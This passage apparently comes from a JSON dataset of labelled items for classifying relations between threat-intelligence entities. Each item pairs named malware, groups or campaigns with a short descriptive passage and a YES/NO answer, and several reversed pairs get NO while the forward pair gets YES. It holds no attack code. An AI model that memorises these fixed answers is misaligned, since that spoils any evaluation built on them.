Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nComet\n### Target Entity: Syria\n### Text Passage:\nMeteor is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSyria\n### Target Entity: Urban Development\n### Text Passage:\nMeteor is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDrinik\n### Target Entity: Android\n### Text Passage:\nDrinik is an evolving Android banking trojan that was observed targeting customers of around 27 banks in India in August 2021. Initially seen as an SMS stealer in 2016, Drinik resurfaced as a banking trojan with more advanced capabilities included in subsequent versions between September 2021 and August 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDrinik\n### Target Entity: India\n### Text Passage:\nDrinik is an evolving Android banking trojan that was observed targeting customers of around 27 banks in India in August 2021. Initially seen as an SMS stealer in 2016, Drinik resurfaced as a banking trojan with more advanced capabilities included in subsequent versions between September 2021 and August 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIndia\n### Target Entity: Drinik\n### Text Passage:\nDrinik is an evolving Android banking trojan that was observed targeting customers of around 27 banks in India in August 2021. Initially seen as an SMS stealer in 2016, Drinik resurfaced as a banking trojan with more advanced capabilities included in subsequent versions between September 2021 and August 2022.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLinux Rabbit\n### Target Entity: C2\n### Text Passage:\nLinux Rabbit sends the payload from the C2 server as an encoded URL parameter.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLinux Rabbit\n### Target Entity: Linux\n### Text Passage:\nLinux Rabbit sends the payload from the C2 server as an encoded URL parameter.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0011\n### Target Entity: Transparent Tribe\n### Text Passage:\nC0011 was a suspected cyber espionage campaign conducted by Transparent Tribe that targeted students at universities and colleges in India. Security researchers noted this campaign against students was a significant shift from Transparent Tribe's historic targeting Indian government, military, and think tank personnel, and assessed it was still ongoing as of July 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTransparent Tribe\n### Target Entity: India\n### Text Passage:\nC0011 was a suspected cyber espionage campaign conducted by Transparent Tribe that targeted students at universities and colleges in India. Security researchers noted this campaign against students was a significant shift from Transparent Tribe's historic targeting Indian government, military, and think tank personnel, and assessed it was still ongoing as of July 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTransparent Tribe\n### Target Entity: Indian government\n### Text Passage:\nC0011 was a suspected cyber espionage campaign conducted by Transparent Tribe that targeted students at universities and colleges in India. Security researchers noted this campaign against students was a significant shift from Transparent Tribe's historic targeting Indian government, military, and think tank personnel, and assessed it was still ongoing as of July 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIndia\n### Target Entity: Transparent Tribe\n### Text Passage:\nC0011 was a suspected cyber espionage campaign conducted by Transparent Tribe that targeted students at universities and colleges in India. Security researchers noted this campaign against students was a significant shift from Transparent Tribe's historic targeting Indian government, military, and think tank personnel, and assessed it was still ongoing as of July 2022.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT-C-36\n### Target Entity: C2\n### Text Passage:\nAPT-C-36 has used port 4050 for C2 communications.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRCSAndroid\n### Target Entity: Android\n### Text Passage:\nRCSAndroid is Android malware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWIRTE\n### Target Entity: PowerShell\n### Text Passage:\nWIRTE has downloaded PowerShell code from the C2 server to be executed.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWIRTE\n### Target Entity: C2\n### Text Passage:\nWIRTE has downloaded PowerShell code from the C2 server to be executed.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNEODYMIUM\n### Target Entity: Wingbird\n### Text Passage:\nWingbird is a backdoor that appears to be a version of commercial software FinFisher. It is reportedly used to attack individual computers instead of networks. It was used by NEODYMIUM in a May 2016 campaign. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMay 2016 campaign\n### Target Entity: NEODYMIUM\n### Text Passage:\nWingbird is a backdoor that appears to be a version of commercial software FinFisher. It is reportedly used to attack individual computers instead of networks. It was used by NEODYMIUM in a May 2016 campaign. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFinFisher\n### Target Entity: NEODYMIUM\n### Text Passage:\nWingbird is a backdoor that appears to be a version of commercial software FinFisher. It is reportedly used to attack individual computers instead of networks. It was used by NEODYMIUM in a May 2016 campaign. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHildegard\n### Target Entity: kubelets\n### Text Passage:\nHildegard is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind Hildegard. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTeamTNT\n### Target Entity: Hildegard\n### Text Passage:\nHildegard is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind Hildegard. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\njRAT\n### Target Entity: VBScript\n### Text Passage:\njRAT has been distributed as HTA files with VBScript.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMarkiRAT\n### Target Entity: Telegram\n### Text Passage:\nMarkiRAT can check for the Telegram installation directory by enumerating the files on disk.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWARPWIRE\n### Target Entity: Javascript\n### Text Passage:\nWARPWIRE is a Javascript credential stealer that targets plaintext passwords and usernames for exfiltration that was used during Cutting Edge to target Ivanti Connect Secure VPNs.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCutting Edge\n### Target Entity: WARPWIRE\n### Text Passage:\nWARPWIRE is a Javascript credential stealer that targets plaintext passwords and usernames for exfiltration that was used during Cutting Edge to target Ivanti Connect Secure VPNs.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWARPWIRE\n### Target Entity: Ivanti Connect Secure VPNs\n### Text Passage:\nWARPWIRE is a Javascript credential stealer that targets plaintext passwords and usernames for exfiltration that was used during Cutting Edge to target Ivanti Connect Secure VPNs.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nJavascript\n### Target Entity: Ivanti Connect Secure VPNs\n### Text Passage:\nWARPWIRE is a Javascript credential stealer that targets plaintext passwords and usernames for exfiltration that was used during Cutting Edge to target Ivanti Connect Secure VPNs.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPLC-Blaster\n### Target Entity: Siemens S7 PLCs\n### Text Passage:\nPLC-Blaster is a piece of proof-of-concept malware that runs on Siemens S7 PLCs. This worm locates other Siemens S7 PLCs on the network and attempts to infect them. Once this worm has infected its target and attempted to infect other devices on the network, the worm can then run one of many modules.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSiemens\n### Target Entity: PLC-Blaster\n### Text Passage:\nPLC-Blaster is a piece of proof-of-concept malware that runs on Siemens S7 PLCs. This worm locates other Siemens S7 PLCs on the network and attempts to infect them. Once this worm has infected its target and attempted to infect other devices on the network, the worm can then run one of many modules.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHAFNIUM\n### Target Entity: Tarrask\n### Text Passage:\nTarrask is malware that has been used by HAFNIUM since at least August 2021. Tarrask was designed to evade digital defenses and maintain persistence by generating concealed scheduled tasks.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTiktok Pro\n### Target Entity: TikTok\n### Text Passage:\nTiktok Pro is spyware that has been masquerading as the TikTok application.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLazarus Group\n### Target Entity: DRATzarus\n### Text Passage:\nDRATzarus is a remote access tool (RAT) that has been used by Lazarus Group to target the defense and aerospace organizations globally since at least summer 2020. DRATzarus shares similarities with Bankshot, which was used by Lazarus Group in 2017 to target the Turkish financial sector.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLazarus Group\n### Target Entity: Bankshot\n### Text Passage:\nDRATzarus is a remote access tool (RAT) that has been used by Lazarus Group to target the defense and aerospace organizations globally since at least summer 2020. DRATzarus shares similarities with Bankshot, which was used by Lazarus Group in 2017 to target the Turkish financial sector.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDRATzarus\n### Target Entity: Bankshot\n### Text Passage:\nDRATzarus is a remote access tool (RAT) that has been used by Lazarus Group to target the defense and aerospace organizations globally since at least summer 2020. DRATzarus shares similarities with Bankshot, which was used by Lazarus Group in 2017 to target the Turkish financial sector.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBankshot\n### Target Entity: Turkish\n### Text Passage:\nDRATzarus is a remote access tool (RAT) that has been used by Lazarus Group to target the defense and aerospace organizations globally since at least summer 2020. DRATzarus shares similarities with Bankshot, which was used by Lazarus Group in 2017 to target the Turkish financial sector.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRamsay\n### Target Entity: UACMe\n### Text Passage:\nRamsay can use UACMe for privilege escalation.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBOOSTWRITE\n### Target Entity: RDFSNIFFER\n### Text Passage:\nRDFSNIFFER is a module loaded by BOOSTWRITE which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Spalax\n### Target Entity: Colombian government\n### Text Passage:\nOperation Spalax was a campaign that primarily targeted Colombian government organizations and private companies, particularly those associated with the energy and metallurgical industries. The Operation Spalax threat actors distributed commodity malware and tools using generic phishing topics related to COVID-19, banking, and law enforcement action. Security researchers noted indicators of compromise and some infrastructure overlaps with other campaigns dating back to April 2018, including at least one separately attributed to APT-C-36, however identified enough differences to report this as separate, unattributed activity.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Spalax\n### Target Entity: Colombian\n### Text Passage:\nOperation Spalax was a campaign that primarily targeted Colombian government organizations and private companies, particularly those associated with the energy and metallurgical industries. The Operation Spalax threat actors distributed commodity malware and tools using generic phishing topics related to COVID-19, banking, and law enforcement action. Security researchers noted indicators of compromise and some infrastructure overlaps with other campaigns dating back to April 2018, including at least one separately attributed to APT-C-36, however identified enough differences to report this as separate, unattributed activity.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT-C-36\n### Target Entity: Operation Spalax\n### Text Passage:\nOperation Spalax was a campaign that primarily targeted Colombian government organizations and private companies, particularly those associated with the energy and metallurgical industries. The Operation Spalax threat actors distributed commodity malware and tools using generic phishing topics related to COVID-19, banking, and law enforcement action. Security researchers noted indicators of compromise and some infrastructure overlaps with other campaigns dating back to April 2018, including at least one separately attributed to APT-C-36, however identified enough differences to report this as separate, unattributed activity.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT-C-36\n### Target Entity: Colombian government\n### Text Passage:\nOperation Spalax was a campaign that primarily targeted Colombian government organizations and private companies, particularly those associated with the energy and metallurgical industries. The Operation Spalax threat actors distributed commodity malware and tools using generic phishing topics related to COVID-19, banking, and law enforcement action. Security researchers noted indicators of compromise and some infrastructure overlaps with other campaigns dating back to April 2018, including at least one separately attributed to APT-C-36, however identified enough differences to report this as separate, unattributed activity.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDarkWatchman\n### Target Entity: JavaScript\n### Text Passage:\nDarkWatchman is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroid/Chuli.A\n### Target Entity: Android\n### Text Passage:\nAndroid/Chuli.A is Android malware that was delivered to activist groups via a spearphishing email with an attachment.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT28\n### Target Entity: USBStealer\n### Text Passage:\nUSBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPay2Key\n### Target Entity: C++\n### Text Passage:\nPay2Key is a ransomware written in C++ that has been used by Fox Kitten since at least July 2020 including campaigns against Israeli companies. Pay2Key has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFox Kitten\n### Target Entity: Pay2Key\n### Text Passage:\nPay2Key is a ransomware written in C++ that has been used by Fox Kitten since at least July 2020 including campaigns against Israeli companies. Pay2Key has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPay2Key\n### Target Entity: Israeli\n### Text Passage:\nPay2Key is a ransomware written in C++ that has been used by Fox Kitten since at least July 2020 including campaigns against Israeli companies. Pay2Key has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSHARPSTATS\n### Target Entity: PowerShell\n### Text Passage:\nSHARPSTATS has the ability to employ a custom PowerShell script.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNotCompatible\n### Target Entity: Android\n### Text Passage:\nNotCompatible is an Android malware family that was used between at least 2014 and 2016. It has multiple variants that have become more sophisticated over time.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCORALDECK\n### Target Entity: WinImage\n### Text Passage:\nCORALDECK has created password-protected RAR, WinImage, and zip archives to be exfiltrated.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPysa\n### Target Entity: Advanced IP Scanner\n### Text Passage:\nPysa can perform network reconnaissance using the Advanced IP Scanner tool.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPittyTiger\n### Target Entity: Lurid\n### Text Passage:\nLurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPatchwork\n### Target Entity: BackConfig\n### Text Passage:\nBackConfig is a custom Trojan with a flexible plugin architecture that has been used by Patchwork.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFIN10\n### Target Entity: PowerShell Empire\n### Text Passage:\nFIN10 has established persistence by using the Registry option in PowerShell Empire to add a Run key.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCutting Edge\n### Target Entity: PITSTOP\n### Text Passage:\nPITSTOP is a backdoor that was deployed on compromised Ivanti Connect Secure VPNs during Cutting Edge to enable command execution and file read/write.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPITSTOP\n### Target Entity: Ivanti Connect Secure VPNs\n### Text Passage:\nPITSTOP is a backdoor that was deployed on compromised Ivanti Connect Secure VPNs during Cutting Edge to enable command execution and file read/write.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSUNSPOT\n### Target Entity: SUNBURST\n### Text Passage:\nSUNBURST source code used generic variable names and pre-obfuscated strings, and was likely sanitized of developer comments before being added to SUNSPOT.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Honeybee\n### Target Entity: Korean\n### Text Passage:\nOperation Honeybee was a campaign that targeted humanitarian aid and inter-Korean affairs organizations from at least late 2017 through early 2018. Operation Honeybee initially targeted South Korea, but expanded to include Vietnam, Singapore, Japan, Indonesia, Argentina, and Canada. Security researchers assessed the threat actors were likely Korean speakers based on metadata used in both lure documents and executables, and named the campaign \"Honeybee\" after the author name discovered in malicious Word documents.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Honeybee\n### Target Entity: South Korea\n### Text 